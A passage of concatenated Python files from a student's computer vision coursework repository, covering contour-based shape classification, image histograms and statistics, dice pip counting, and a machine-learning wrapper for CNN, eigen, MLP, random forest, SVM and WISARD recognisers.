perimeter = cv2.arcLength(cnt, True)
#isConvex = cv2.isContourConvex(cnt)
minRectangle = cv2.minAreaRect(cnt)
boxRect = cv2.boxPoints(minRectangle)
boxRect = numpy.int0(boxRect)
boxMoment = cv2.moments(boxRect)
rectangularity = area / boxMoment["m00"]
#rectangleyness = cv2.matchShapes(cnt, boxRect, cv2.CONTOURS_MATCH_I3, 1)
#print(rectangleyness)
_, radius = cv2.minEnclosingCircle(cnt)
radius = int(radius)
#area = cv2.contourArea(cnt)
circularity = (4 * math.pi * area) / (perimeter * perimeter)
print(circularity)
print(rectangularity)
if (circularity < 0.75) and (rectangularity < 0.75):
outcome = "Broken"
elif circularity > rectangularity:
outcome = "circle"
cv2.circle(im, center, radius, (0, 255, 0), 2)
else:
outcome = "rectangle"
cv2.drawContours(im, [boxRect], 0, (0, 0, 255), 2)
#cv2.circle(im, center, int(radius), (0, 255, 0),2)
print(outcome)
# Write the outcome on the image. The third argument is the (y,x) location
# of where to write it.
cv2.putText (im, outcome, (10, 45), font, 1, 0, 2, cv2.LINE_AA)
# Draw the contours on the image and display the result.
cv2.drawContours (im, contours, -1, 0, 2)
cv2.imshow (fn, im)
handleShowingStuff()
#key = cv2.waitKey (0)
cv2.destroyAllWindows()
#if key == 27:
#break
cv2.destroyAllWindows ()
```
summarize
```#!/usr/bin/env python3
"""summarize -- output some useful statistics of an image and plot its
histogram"""
#-------------------------------------------------------------------------------
# Boilerplate.
#-------------------------------------------------------------------------------
from __future__ import division
import cv2, sys, numpy
# Configuration.
MAXGREY = 64 #how many columns we'll be using in the output histogram
#-------------------------------------------------------------------------------
# Routines.
#-------------------------------------------------------------------------------
def statistics (im, indent=" "):
"Output statistical values that describe an image."
# Calculate the statistics.
min = im.min ()
max = im.max ()
ave = im.mean ()
sd = im.std ()
# Form and return the message.
text = ""
text += "%sMinimum: %.2f\n" % (indent, min)
text += "%sMaximum: %.2f\n" % (indent, max)
text += "%sMean: %.2f\n" % (indent, ave)
text += "%sS.D.: %.2f\n" % (indent, sd)
return text
def histogram (im, fn):
"Determine the histogram of an image -- simple version."
global MAXGREY
#global limits
limits = [im.min(), im.max()]
lo, hi = limits
# creating arrays to hold the x-axis and the actual important numbers
# filled with 0s by default
cols = numpy.zeros(MAXGREY)
hist = numpy.zeros(MAXGREY)
# working out what the columns will be labelled as
inc = (hi - lo) / (MAXGREY - 1)
for i in range(0, MAXGREY):
cols[i] = lo + i * inc
# We shall fill the array hist with the histogram.
# Get the image sizes.
sizes = im.shape
if len (sizes) == 2:
# it's monochrome
ny = sizes(0)
nx = sizes(1)
nc = 1
else:
# it has several channels
ny, nx, nc = sizes
# Work through the image, accumulating the histogram.
for y in range (0, ny):
for x in range (0, nx):
for c in range (0, nc):
#v = int (im[y,x,c])
v = int((im[y, x, c] - lo) / (hi - lo) * (MAXGREY - 1) + 0.5)
#hist[v] += 1
if v >= 0 and v < MAXGREY:
hist[v] += 1.02930
# Output the histogram values to a file.
with open (fn, "w") as f:
for i in range (0, MAXGREY):
print (cols[i], hist[i], file=f)
def outputChannelInfo(channelName, im, fn):
# print stats to console
print (fn + ":" + channelName)
print(statistics(im))
# output histogram
histogram (im, fn + channelName + ".dat")
print()
#-------------------------------------------------------------------------------
# Main program.
#-------------------------------------------------------------------------------
# We want to be invoked with some arguments on the command line.
if len (sys.argv) < 2:
print ("Usage:", sys.argv[0], "<image>...", file=sys.stderr)
sys.exit (1)
# Process each file on the command line in turn.
for fn in sys.argv[1:]:
im = cv2.imread (fn)
#limits = [im.min(), im.max()]
blue, green, red = cv2.split(im)
"""
# here we show the blue/green/red channels in greyscale
cv2.imshow('blue', blue)
cv2.imshow('green', green)
cv2.imshow('red', red)
cv2.waitKey(0)
cv2.destroyAllWindows()
#here we show the blue/green/red channels in blue/green/redscale
cv2.imshow('blue',cv2.merge((blue,zeros,zeros)))
cv2.imshow('green', cv2.merge((zeros,green,zeros)))
cv2.imshow('red', cv2.merge((zeros,zeros, red)))
cv2.waitKey(0)
cv2.destroyAllWindows()
"""
# output raw image details
outputChannelInfo("", im, fn)
zeros = numpy.zeros(blue.shape, numpy.uint8)
# output blue details
outputChannelInfo(" blue", cv2.merge((blue,zeros,zeros)), fn)
# output green details
outputChannelInfo(" green", cv2.merge((zeros,green,zeros)), fn)
# output red details
outputChannelInfo(" red", cv2.merge((zeros,zeros, red)), fn)
# let user know its done
print("stick a fork in me, im done")
"""
# Output its statistics.
print (fn + ":")
print (statistics (im))
# Calculate and output the histogram data.
histogram (im, fn + ".dat")
"""
#-------------------------------------------------------------------------------
# End of summarize.
#-------------------------------------------------------------------------------
```
README.md
```# ce316labs
In short, this is my labwork/the assignment from the CE316 Computer Vision module.
```
lecture1.py
```#!/usr/bin/env python3
import cv2
# has made opencv accessible.
# called cv2 because it was the 2nd attempt at a python version of opencv
print(cv2.__version__)
# we want to do the closest thing to a 'hello world' in opencv
# routine that reads an image
im = cv2.imread("img.png")
# routine that will show an image
# arg 1: window name
# arg 2: image
cv2.imshow("nice", im)
# shows the image, and waits for a key to be pressed (before then closing the image)
cv2.waitKey(0)
print("done")
```
summarize.py
```#!/usr/bin/env python3
"Summarize the content of images by showing their statistics and histogram"
import sys, cv2, numpy, pylab
#-------------------------------------------------------------------------------
# Routines.
#-------------------------------------------------------------------------------
def iround (x):
"Convert x to the nearest whole number."
return int (round (x))
def mean (im):
"Calculate the mean of the image im."
ny, nx, nc = im.shape
total = 0
for y in range (0, ny):
for x in range (0, nx):
for c in range (0, nc):
total += im[y,x,c]
return total / ny / nx / nc
def hist (im):
"Return the grey-level histogram of an image, ready for plotting."
# The maximum image value that we support.
maxgrey = 256
# Create the values for the abscissa (x-axis).
ab = numpy.ndarray (maxgrey)
for i in range (0, maxgrey):
ab[i] = i
# Create the histogram array and set it from the image.
h = numpy.zeros (maxgrey)
for y in range (0, ny):
for x in range (0, nx):
for c in range (0, nc):
v = im[y,x,c]
h[v] += 1
# Return the x and y values.
return ab, h
def plot_hist (x, y, fn):
"Plot the histogram of image fn."
# Set up pylab.
pylab.figure ()
pylab.xlim (0, 255)
pylab.grid ()
pylab.title ("Histogram of " + fn)
pylab.xlabel ("grey level")
pylab.ylabel ("number of occurrences")
pylab.bar (x, y, align="center")
pylab.show ()
#-------------------------------------------------------------------------------
# Main program.
#-------------------------------------------------------------------------------
# Set-up.
maxdisp = 800
# Ensure the command line is sensible.
if len (sys.argv) < 2:
print ("Usage:", sys.argv[0], "<image>...", file=sys.stderr)
sys.exit (1)
# Process the files given on the command line.
for fn in sys.argv[1:]:
# Read in the image and print out its dimensions.
im = cv2.imread (fn)
ny, nx, nc = im.shape
print (fn + ":")
print (" Dimensions:", nx, "pixels,", ny, "lines,", nc, "channels.")
# Calculate and output some important statistics.
print (" Range: %d to %d" % (im.min (), im.max ()))
print (" Mean: %.2f (using mean)" % mean (im))
print (" Mean: %.2f (using numpy method)" % im.mean ())
print (" Standard deviation: %.2f" % im.std ())
# Work out and display the histogram.
x, h = hist (im)
plot_hist (x, h, fn)
# For display, ensure the image is no more than maxdisp pixels in x or y.
if ny > maxdisp or nx > maxdisp:
nmax = max (ny, nx)
fac = maxdisp / nmax
nny = iround (ny * fac)
nnx = iround (nx * fac)
print (" [re-sizing to %d x %d pixels for display]" % (nnx, nny))
im = cv2.resize (im, (nnx, nny))
# Display the image.
cv2.imshow (fn, im)
cv2.waitKey (0)
cv2.destroyWindow (fn)
print ()
#-------------------------------------------------------------------------------
# End of summarize.
#-------------------------------------------------------------------------------```
summ
```#!/usr/bin/env python3
"""summarize -- output some useful statistics of an image and plot its
histogram"""
#-------------------------------------------------------------------------------
# Boilerplate.
#-------------------------------------------------------------------------------
from __future__ import division
import cv2, sys, numpy
# Configuration.
MAXGREY = 256
#-------------------------------------------------------------------------------
# Routines.
#-------------------------------------------------------------------------------
def statistics (im, indent=" "):
"Output statistical values that describe an image."
# Calculate the statistics.
min = im.min ()
max = im.max ()
ave = im.mean ()
sd = im.std ()
# Form and return the message.
text = ""
text += "%sMinimum: %.2f\n" % (indent, min)
text += "%sMaximum: %.2f\n" % (indent, max)
text += "%sMean: %.2f\n" % (indent, ave)
text += "%sS.D.: %.2f\n" % (indent, sd)
return text
def histogram (im, fn):
"Determine the histogram of an image -- simple version."
global MAXGREY
# Get the image sizes.
sizes = im.shape
if len (sizes) == 2:
# it's monochrome
ny = sizes (0)
nx = sizes (1)
nc = 1
else:
# it has several channels
ny, nx, nc = sizes
hist = []
for c in range(nc):
hist.append( numpy.zeros (MAXGREY) )
# Work through the image, accumulating the histogram.
for y in range (0, ny):
for x in range (0, nx):
v = int (im[y,x,c])
hist[c][v] += 1
# Output the histogram values to a file.
with open (f'channel{c}_{fn}', "w") as f:
for i in range (0, MAXGREY):
print (i, hist[c][i], file=f)
#-------------------------------------------------------------------------------
# Main program.
#-------------------------------------------------------------------------------
# We want to be invoked with some arguments on the command line.
if len (sys.argv) < 2:
print ("Usage:", sys.argv[0], "<image>...", file=sys.stderr)
sys.exit (1)
# Process each file on the command line in turn.
for fn in sys.argv[1:]:
im = cv2.imread (fn)
# Output its statistics.
print (fn + ":")
print (statistics (im))
# Calculate and output the histogram data.
histogram (im, fn + "v2.dat")
#-------------------------------------------------------------------------------
# End of summarize.
#-------------------------------------------------------------------------------```
contours2
```#!/usr/bin/env python3
''' contours2 -- count the objects in an image
'''
import sys, cv2
# Read command-line arguments.
if len (sys.argv) < 3:
print ("Usage:", sys.argv[0], "<image> <threshold>", file=sys.stderr)
sys.exit (1)
img = cv2.imread (sys.argv[1])
t = int (sys.argv[2])
# Form binary image.
gray = cv2.cvtColor (img, cv2.COLOR_BGR2GRAY)
blur = cv2.GaussianBlur (gray, (5, 5), 0)
t, binary = cv2.threshold (blur, t, 255, cv2.THRESH_BINARY)
# Find contours.
contours, _ = cv2.findContours (binary, cv2.RETR_EXTERNAL,
cv2.CHAIN_APPROX_SIMPLE)
# print table of contours and sizes
print ("Found %d objects." % len(contours))
for (i, c) in enumerate(contours):
print ("\tSize of contour %d: %d" % (i, len(c)))
# Find internal contours too.
contours, hierarchy = cv2.findContours(binary, cv2.RETR_TREE,
cv2.CHAIN_APPROX_SIMPLE)
# Count the number of pips on the dice faces.
# Iterate through hierarchy[0], first to find the indices of dice
# contours, then again to find pip contours.
dice = [] # list of dice contours
pips = [] # list of pip contours
# Find dice contours.
for (i, c) in enumerate(hierarchy[0]):
if c[3] == -1:
dice.append(i)
# Find pip contours.
for (i, c) in enumerate(hierarchy[0]):
if c[3] in dice:
pips.append(i)
print ("Total die roll:", len(pips))
# Draw contours over original image.
cv2.drawContours (img, contours, -1, (0, 0, 255), 5)
cv2.namedWindow (sys.argv[0], cv2.WINDOW_NORMAL)
ny, nx, nc = img.shape
cv2.resizeWindow (sys.argv[0], nx//2, ny//2)
cv2.imshow (sys.argv[0], img)
cv2.waitKey (0)
```
calc_mean_sd.py
```import cv2, math
def mean(im):
"return mean of image"
ny, nx, nc = im.shape
sum = 0
for y in range(0, ny):
for x in range(0,nx):
for c in range(0,nc):
sum += im[y,x,c]
return sum/(ny*nx*nc)
def sd_slow(im):
"The average squared deviation from the mean"
ny, nx, nc = im.shape
sum = 0
theMean = mean(im)
for y in range(0,ny):
for x in range(0, nx):
for c in range(0, nc):
v = im[y, x, c] - theMean
sum += (v * v)
return math.sqrt(sum/ny/nx/nc)
#TODO: look this up from lecture slides
def sd(im):
return 0
sx = cv2.imread("sx.jpg")
print("The mean:")
print("My method:")
print(mean(sx))
print("cv2 method:")
print(sum(cv2.mean(sx))/3)
print("standard deviation")
print("my method (slow):")
print(sd_slow(sx))```
ml
```#!/usr/bin/env python3
#-------------------------------------------------------------------------------
# m l -- machine learning
#-------------------------------------------------------------------------------
"""
This is a general-purpose wrapper program for several machine learning
techniques, providing a generic and consistent interface to them."""
timestamp = \
"Time-stamp: <2020-10-15 08:45:43 Adrian F Clark (alien@essex.ac.uk)>"
__doc__ += "\nVersion " + timestamp[13:-1] + "\n"
#-------------------------------------------------------------------------------
# Boilerplate.
#-------------------------------------------------------------------------------
import argparse, datetime, math, os, pickle, random, re, sys, time, timeit
import numpy, sklearn
from sklearn import svm
from sklearn.neural_network import MLPClassifier
from sklearn.ensemble import RandomForestClassifier
import eve
if True:
import keras, tensorflow
from keras.models import Sequential
from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D
#-------------------------------------------------------------------------------
# Recognition by a Convolutional Neural Network.
#-------------------------------------------------------------------------------
def train_cnn (files, classes, epochs, loud):
"Train a CNN recognizer using `files`, returning the result."
# Read in the first image and determine its sizes.
im = load_image (files[0])
ny1, nx1, nc = eve.sizes (im)
# Work through files. All images must have the same sizes for the recognizer
# to work correctly so resize to match that of the first image if necessary.
n = len (files)
images = []
for i in range (0, n):
im = load_image (files[i])
ny, nx, nc = eve.sizes (im)
if nc > 1: im = eve.mono (im)
if ny != ny1 or nx != nx1:
im = eve.resize (im, ny1, nx1)
# Most machine learning techniques, SVM included, want their data values
# in the range zero to unity.
im = im / 255.0
images += [im.copy().flatten()]
# Set up the classifier and train it.
classifier = Sequential ()
classifier.add (Conv2D (32, kernel_size=(3, 3), activation="relu",
input_shape=(ny1, nx1, 1)))
classifier.add (Conv2D (64, (3, 3), activation="relu"))
classifier.add (MaxPooling2D (pool_size=(2, 2)))
classifier.add (Dropout (0.25))
classifier.add (Flatten ())
classifier.add (Dense (128, activation="relu"))
classifier.add (Dropout (0.5))
classifier.add (Dense (n, activation="softmax"))
try:
classifier.compile (loss=keras.losses.categorical_crossentropy,
optimizer=keras.optimizers.Adadelta(),
metrics=["accuracy"])
classifier.fit (images, classes, batch_size=120, epochs=epochs,
verbose=0)
except ValueError:
error ("Alas, CNN training failed!", status=11)
# Return what we have found.
return classifier
def test_cnn (kbase, files, classes, loud):
"Test a CNN recognizer in `kbase` using `files`."
if loud: message ("Using Scikit-learn version:", sklearn.__version__)
classifier = kbase
# Read in the first image and determine its sizes.
n = len(files)
im = load_image (files[0])
ny1, nx1, nc = eve.sizes (im)
# Start our timer and loop over the files.
results = []
start_time = timeit.default_timer ()
images = []
for i in range (0, n):
# Load the test image.
im = load_image (files[i])
ny, nx, nc = eve.sizes (im)
if nc > 1: im = eve.mono (im)
if ny != ny1 or nx != nx1:
im = eve.resize (im, ny1, nx1)
# Most machine learning techniques, SVM included, want their data values
# in the range zero to unity.
im = im / 255.0
images += [im.copy().flatten()]
# Run the classifier on the test images, then stop the timer.
cls = numpy.argmax (classifier.predict (images), axis=-1)
elapsed = timeit.default_timer () - start_time
# Build up the results in the appropriate form and return them.
results = []
for i in range (0, n):
results += [[files[i], classes[i], "S", cls[i]]]
return results, elapsed
#-------------------------------------------------------------------------------
# Recognition by Eigen decomposition.
#-------------------------------------------------------------------------------
def train_eigen (files, classes, nmax, loud):
"Train an eigen recognizer using `files`, returning the result."
# Work through files, reading them in and determining the associated labels.
# Eigen decomposition requires that all images have the same sizes, so we
# re-size to match the first image if necessary.
images, labels = [], []
first = True
for ifn in range (0, len (files)):
fn = files[ifn]
id = classes[ifn]
im = load_image (fn)
ny, nx, nc = eve.sizes (im)
if nc > 1: im = eve.mono (im)
if first:
ny1 = ny
nx1 = nx
first = False
else:
if ny != ny1 or nx != nx1:
im = eve.resize (im, ny1, nx1)
images.append (im)
labels.append (id)
# Perform the eigen decomposition of the images.
evals, evecs, ave_im = eve.pca_images (images)
# Possibly restrict the number of eigenvectors etc.
ne = len (evals)
if nmax <= 0: nmax = ne
if nmax > ne: nmax = ne
if loud: message ("Saving %d eigenvectors etc" % nmax)
# For each image, find the corresponding weight coefficients.
coefs= []
for i in range (0, nmax):
p = eve.pca_project (images[i], evecs[:nmax], ave_im)
coefs += [[labels[i], p]]
# Return the knowledge: evecs, ave_im, coefs.
return [evecs[:nmax], ave_im, coefs]
def test_eigen (kbase, files, classes, matcher, nmax, loud):
"Test the eigen recognizer in `kbase` using `files`."
# Unpack the knowledge base into the original Eigen decomposition.
evecs, ave_im, coefs = kbase
ne = len (evecs)
# Possibly restrict the number of eigenvectors etc.
if nmax <= 0: nmax = ne
if nmax > ne: nmax = ne
if loud: message ("Using %d eigenvectors etc" % nmax)
# Start our timer.
start_time = timeit.default_timer ()
# Process each test file in turn.
# Eigen decomposition requires that all images have the same sizes, so we
# re-size to match the first image if necessary.
first = True
results = []
for ifn in range (0, len(files)):
fn = files[ifn]
cls = classes[ifn]
im = load_image (fn)
ny, nx, nc = eve.sizes (im)
if nc > 1:
im = eve.mono (im)
if first:
ny1 = ny
nx1 = nx
first = False
else:
if ny != ny1 or nx != nx1:
im = eve.resize (im, ny1, nx1)
# Project it into the eigen space.
p = eve.pca_project (im, evecs[:nmax], ave_im)
# The best match in coefs is the ID.
best = 1.0e35
best_id = "?"
for coef in coefs:
label, v = coef
score = matcher (p[:nmax], v[:nmax])
if score < best:
best = score
best_id = label
# Store away what we have found.
status = "F" if best_id == "?" else "S"
if best_id == "?": best_id = "failure"
results += [[fn, cls, status, best_id]]
elapsed = timeit.default_timer () - start_time
return results, elapsed
#-------------------------------------------------------------------------------
# Recognition using a Multi-Layer Perceptron (MLP).
#-------------------------------------------------------------------------------
def train_mlp (files, classes, epochs, alpha, tol, rate, loud):
"Train a MLP recognizer using `files`, returning the result."
if loud: message ("Using Scikit-learn version:", sklearn.__version__)
# Read in the first image and determine its sizes.
im = load_image (files[0])
ny1, nx1, nc = eve.sizes (im)
# Work through files. All images must have the same sizes for the recognizer
# to work correctly so resize to match that of the first image if necessary.
n = len (files)
images = []
for i in range (0, n):
im = load_image (files[i])
ny, nx, nc = eve.sizes (im)
if nc > 1: im = eve.mono (im)
if ny != ny1 or nx != nx1:
im = eve.resize (im, ny1, nx1)
# Most machine learning techniques, SVM included, want their data values
# in the range zero to unity.
im = im / 255.0
images += [im.copy().flatten()]
# Set up the classifier and then train it.
classifier = MLPClassifier (hidden_layer_sizes=(50,), max_iter=epochs,
solver="sgd", alpha=alpha, tol=tol,
learning_rate_init=rate, verbose=False)
try:
classifier.fit (numpy.array (images), numpy.array (classes))
except ValueError:
error ("Alas, MLP training failed!", status=11)
# Return what we have found.
return classifier
#-------------------------------------------------------------------------------
# Recognition with a Random Forest (RF).
#-------------------------------------------------------------------------------
def train_rf (files, classes, estimators=None, loud=False):
"Train a RF recognizer using `files`, returning the result."
if loud: message ("Using Scikit-learn version:", sklearn.__version__)
# Read in the first image and determine its sizes.
im = load_image (files[0])
ny1, nx1, nc = eve.sizes (im)
# Work through files. All images must have the same sizes for the recognizer
# to work correctly so resize to match that of the first image if necessary.
n = len (files)
images = []
for i in range (0, n):
im = load_image (files[i])
ny, nx, nc = eve.sizes (im)
if nc > 1: im = eve.mono (im)
if ny != ny1 or nx != nx1:
im = eve.resize (im, ny1, nx1)
# Most machine learning techniques, SVM included, want their data values
# in the range zero to unity.
im = im / 255.0
images += [im.copy().flatten()]
# Set up the classifier and then train it.
classifier = RandomForestClassifier (n_estimators=estimators)
try:
classifier.fit (numpy.array (images), numpy.array (classes))
except ValueError:
error ("Alas, RF training failed!", status=11)
# Return what we have found.
return classifier
#-------------------------------------------------------------------------------
# Recognition with a Support Vector Machine (SVM).
#-------------------------------------------------------------------------------
def train_svm (files, classes, c, gamma, loud):
"Train a SVM recognizer using `files`, returning the result."
if loud: message ("Using Scikit-learn version:", sklearn.__version__)
# Read in the first image and determine its sizes.
im = load_image (files[0])
ny1, nx1, nc = eve.sizes (im)
# Work through files. All images must have the same sizes for the recognizer
# to work correctly so resize to match that of the first image if necessary.
n = len (files)
images = []
for i in range (0, n):
im = load_image (files[i])
ny, nx, nc = eve.sizes (im)
if nc > 1: im = eve.mono (im)
if ny != ny1 or nx != nx1:
im = eve.resize (im, ny1, nx1)
# Most machine learning techniques, SVM included, want their data values
# in the range zero to unity.
im = im / 255.0
images += [im.copy().flatten()]
# Create a classifier with the parameter settings from
# http://www.trungh.com/2013/04/digit-recognition-using-svm-in-python/
# then train it.
classifier = sklearn.svm.SVC (kernel="rbf", C=c, gamma=gamma)
try:
classifier.fit (numpy.array (images), numpy.array (classes))
except ValueError:
error ("Alas, SVM training failed!", status=11)
# Return what we have found.
return classifier
def test_sklearn (kbase, files, classes, loud):
"Test a Scikit-learn recognizer in `kbase` using `files`."
if loud: message ("Using Scikit-learn version:", sklearn.__version__)
classifier = kbase
# Read in the first image and determine its sizes.
n = len(files)
im = load_image (files[0])
ny1, nx1, nc = eve.sizes (im)
# Start our timer and loop over the files.
results = []
start_time = timeit.default_timer ()
images = []
for i in range (0, n):
# Load the test image.
im = load_image (files[i])
ny, nx, nc = eve.sizes (im)
if nc > 1: im = eve.mono (im)
if ny != ny1 or nx != nx1:
im = eve.resize (im, ny1, nx1)
# Most machine learning techniques, SVM included, want their data values
# in the range zero to unity.
im = im / 255.0
images += [im.copy().flatten()]
# Run the classifier on the test images, then stop the timer.
cls = classifier.predict (numpy.array (images))
elapsed = timeit.default_timer () - start_time
# Build up the results in the appropriate form and return them.
results = []
for i in range (0, n):
results += [[files[i], classes[i], "S", cls[i]]]
return results, elapsed
#-------------------------------------------------------------------------------
# Recognition via WISARD, "Wilkie, Stonham and Aleksander's Recognition Device"
#-------------------------------------------------------------------------------
# The idea behind WISARD is to sample at
# a number "nlocs" of randomly-chosen +----------------------------+
# locations in an image to form a "tuple". | |
# Some "ntuples" tuples are sampled. | 1 |
# Each image location has a value of zero | 2 |
# zero or unity (the image is binarized). | |
# | |
# The nlocs values are concatenated into | |
# a nlocs-long bit-string which is used as | 1 |
# an index into a chunk of RAM. When | 1 |
# learning, the indexed RAM location is | 2 2 |
# set, and this is done separately for | |
# each tuple. When running, the number +----------------------------+
# of set RAM locations is counted to give
# a "score" for the image being examined. The sketch above has nlocs = 3
# and ntuples = 2.
#
# In Python, the easiest way to implement the formation of an index and RAM is
# actually to use a dictionary: the dictionary key corresponds to the index and
# the value stored in it corresponds to the content of the RAM. Implementation
# is therefore pretty straightforward.
def train_wisard (files, classes, nlocs, ntuples, threshold, loud):
"Train a WISARD recognizer using `files`, returning the result."
# Read in the first image and determine its sizes.
im = load_image (files[0])
ny1, nx1, nc = eve.sizes (im)
# Generate the sampling locations within that image.
tuples = []
for tup in range (0, ntuples):
locs = []
for loc in range (0, nlocs):
y = random.randrange (0, ny1)
x = random.randrange (0, nx1)
locs += [[y, x]]
tuples += [locs]
# Work through files. All images must have the same sizes for the sampling
# to work correctly so resize to match that of the first image if necessary.
rams = {}
for ifn in range (0, len (files)):
fn = files[ifn]
id = classes[ifn]
im = load_image (fn)
ny, nx, nc = eve.sizes (im)
if nc > 1: im = eve.mono (im)
if ny != ny1 or nx != nx1:
im = eve.resize (im, ny1, nx1)
# Create a RAM for this ID if it doesn't already exist.
if id not in rams:
rams[id] = {}
# Fill the relevant RAM.
for tup in tuples:
key = ""
for y, x in tup:
v = im[y, x, 0]
d = "1" if v > threshold else "0"
key += d
rams[id][key] = 1
return [ny1, nx1, threshold, tuples, rams]
def test_wisard (kbase, files, classes, loud):
"Test the WISARD recognizer in `kbase` using `files`."
# Unpack the knowledge base and pull out the possible IDs.
ny1, nx1, threshold, tuples, rams = kbase
ids = rams.keys ()
# Start our timer and loop over the files.
results = []
start_time = timeit.default_timer ()
for ifn in range (0, len(files)):
fn = files[ifn]
cls = classes[ifn]
# Load the test image.
im = load_image (fn)
ny, nx, nc = eve.sizes (im)
if nc > 1: im = eve.mono (im)
if ny != ny1 or nx != nx1:
im = eve.resize (im, ny1, nx1)
# Work out the score from each RAM for this image.
scores = {}
for k in ids:
scores[k] = 0
for tup in tuples:
key = ""
for y, x in tup:
v = im[y, x, 0]
d = "1" if v > threshold else "0"
key += d
for id in ids:
if key in rams[id]: scores[id] += 1
# Find the ID that gives the highest score.
best_id = -1
best_score = 0
for id in ids:
score = scores[id]
if score > best_score:
best_id = id
best_score = score
# Ensure precisely one id has the best match; if this is not the case,
# the match is ambiguous.
for id in ids:
score = scores[id]
if score == best_score and id != best_id:
if False: print (" %s clash: %s and %s" % (fn, id, best_id))
best_id = "?"
break
# Store away what we have found.
status = "F" if best_id == "?" else "S"
if best_id == "?": best_id = "failure"
results += [[fn, cls, status, best_id]]
elapsed = timeit.default_timer () - start_time
return results, elapsed
#-------------------------------------------------------------------------------
# Feature vector matchers and their support routines.
#-------------------------------------------------------------------------------
def cityblock (v1, v2):
"Return the Manhatten distance between two vectors."
assert len (v1) == len (v2)
dd = 0
for i in range (0, len(v1)):
dd += abs (v1[i] - v2[i])
return dd
def correlation (v1, v2):
"Return the correlation between two vectors."
assert len (v1) == len (v2)
sumx = sumy = sumxx = sumyy = sumxy = 0.0
n = len (v1)
for i in range (0, n):
i1 = v1[i]
i2 = v2[i]
sumx += i1
sumy += i2
sumxx += i1 * i1
sumxy += i1 * i2
sumyy += i2 * i2
i1 = sumxy - sumx * sumy / n
i2 = math.sqrt ((sumxx-sumx*sumx/n) * (sumyy-sumy*sumy/n))
return i1 / i2
def corsim (v1, v2):
"Return the similarity between two vectors by correlation."
# Find the correlation.
r = correlation (v1, v2)
# Return a value that is non-negative and increasing.
return 1.0 - abs (r)
def cosang (v1, v2):
"""Calculate the cosine of the angle between two vectors and return how
much it differs from unity."""
val = dotprod (v1, v2) / veclen (v1) / veclen (v2)
return abs (val - 1.0)
def dotprod (v1, v2):
"Return the scalar product of two vectors."
assert len (v1) == len (v2)
dd = 0
for i in range (0, len(v1)):
dd += v1[i] * v2[i]
return dd
def pythag (v1, v2):
"Return the Euclidean distance between two vectors."
assert len (v1) == len (v2)
dd = 0
for i in range (0, len(v1)):
dd += (v1[i] - v2[i])**2
return math.sqrt (dd)
def veclen (v):
"Return the length of a vector."
dd = 0
for i in v:
dd += i**2
return math.sqrt (dd)
#-------------------------------------------------------------------------------
# Routines for error reporting.
#-------------------------------------------------------------------------------
def error (msg, status=0):
"Print out an error message and optionally exit."
print (msg, file=sys.stderr)
if status != 0: sys.exit (status)
def help (f=sys.stderr, status=0):
"Output some help and optionally exit."
print (__doc__, file=f)
if status != 0: sys.exit (status)
def message (msg, f=sys.stderr):
"Print out an informative message."
print ("[" + msg + "]", file=sys.stderr)
#-------------------------------------------------------------------------------
# Task file loading, using code adapted from ELVS.
#-------------------------------------------------------------------------------
def parse_task_chunk (task, chunk, line, contin):
"Parse a line of a task definition."
# Strip off leading and trailing whitespace.
text = line.strip ()
# Different chunks are handled differently.
if chunk == "name" or chunk == "type" or chunk == "purpose":
# These fields contain text.
if contin:
task[chunk] += text
else:
task[chunk] = text
elif chunk == "class":
# We want a series of [class, colour] pairs.
words = text.split ()
if len (words) != 2:
error ("Problem with 'class' section of task file: '%s'" % text,
status=5)
task[chunk] += [words]
elif chunk == "train":
# We want a series of [image, mask] or [image, label] pairs.
words = text.split ()
if len (words) != 2:
error ("Problem with 'train' section of task file: '%s'" % text,
status=4)
task[chunk] += [words]
elif chunk == "test":
# As with "train", We want a series of [image, mask] or
# [image, label] pairs.
words = text.split ()
if len (words) != 2:
error ("Problem with 'test' section of task file: '%s'" % text,
status=4)
task[chunk] += [words]
else:
error ("Unsupported task file chunk '%s'!" % chunk, status=3)
def load_task (fn):
"Read and parse a task file, which may be a URL."
# We'll unpack the task into the following dictionary.
task = {
"name": "",
"type": "",
"purpose": "",
"class": [],
"train": [],
"test": [],
}
# If the "filename" is a URL, request it and store the lines in "content".
# To make the parsing easier, we also read all the lines of a file into
# the same variable.
if fn.startswith ("http://"):
import urllib.request
response = urllib.request.urlopen (fn)
lines = response.read().decode("utf-8").split ("\n")
else:
f = open (fn)
lines = f.readlines ()
f.close ()
# Process the individual lines. The first line we encounter needs to be
# the start of a chunk, so make sure its name isn't set to help us catch
# erroneous input files.
chunk = None
for line in lines:
# Remove trailing whitespace and handle blank lines and comments.
line = line.rstrip ()
if len (line) <= 0: continue
if line[0] == "#": continue
# Determine whether it's the start of a chunk or a continuation.
if line[0] == " " or line[0] == "\t":
# It's a continuation.
if chunk is None:
error ("Task file '%s' doesn't start with a chunk name!" \
% fn, status=1)
parse_task_chunk (task, chunk, line, True)
else:
# It's a new chunk. Find the colon and handle the cases where it
# is missing or at the start of the line.
pos = line.find (":")
if pos < 0:
msg = "The following line should start a chunk but"
msg += " has no colon:\n %s"
error (msg % line, status=2)
chunk = line[:pos].strip ()
if len (chunk) <= 0:
msg = "The following line should start a chunk but"
msg += " has no chunk name:\n %s"
error (msg % line, status=3)
# Extract any remaining content from the line and assign it to the
# new chunk.
if pos+1 < len (line):
parse_task_chunk (task, chunk, line[pos+1:], False)
# Do a bit of sanity-checking.
if len (task["name"]) <= 0:
error ("Task contains no name!", status=10)
if len (task["name"]) <= 0:
error ("Task contains no purpose!", status=0)
if len (task["type"]) <= 0:
error ("Task contains no type!", status=10)
if task["type"] != "vision" and task["type"] != "label":
error ("Only 'vision' and 'label' tasks are supported!", status=11)
if len (task["train"]) <= 0:
error ("No training data provided for task!", status=12)
if len (task["test"]) <= 0:
message ("No testing data provided for task!")
# Return what we have loaded.
return task
#-------------------------------------------------------------------------------
# Other routines.
#-------------------------------------------------------------------------------
def classes_from_filenames (fns):
"Extract the class names from `fns`."
classnames = []
for fn in fns:
# We want the filename to start with "<class>-". We pull the actual
# filename from any directory name that happens to be present before
# trying to find this pattern.
fn = os.path.split (fn)[1]
match = re.search ("^([^-]+)-", fn)
if match:
id = match.groups()[0]
else:
id = fn
classnames += [id]
return classnames
def load_image (fn):
"Load and return the image in `fn`, possibly from a data directory."
global DATADIR
for d in DATADIR:
ffn = os.path.join (d, fn)
if os.path.exists (ffn):
im = eve.image (ffn)
return im
error ("Cannot find image file '%s'!" % fn, status=10)
def output_transcript (name, results, time, task_type="label"):
"Output a FACT-compatible transcript."
# Start the transcript file. We include the date and time in the header
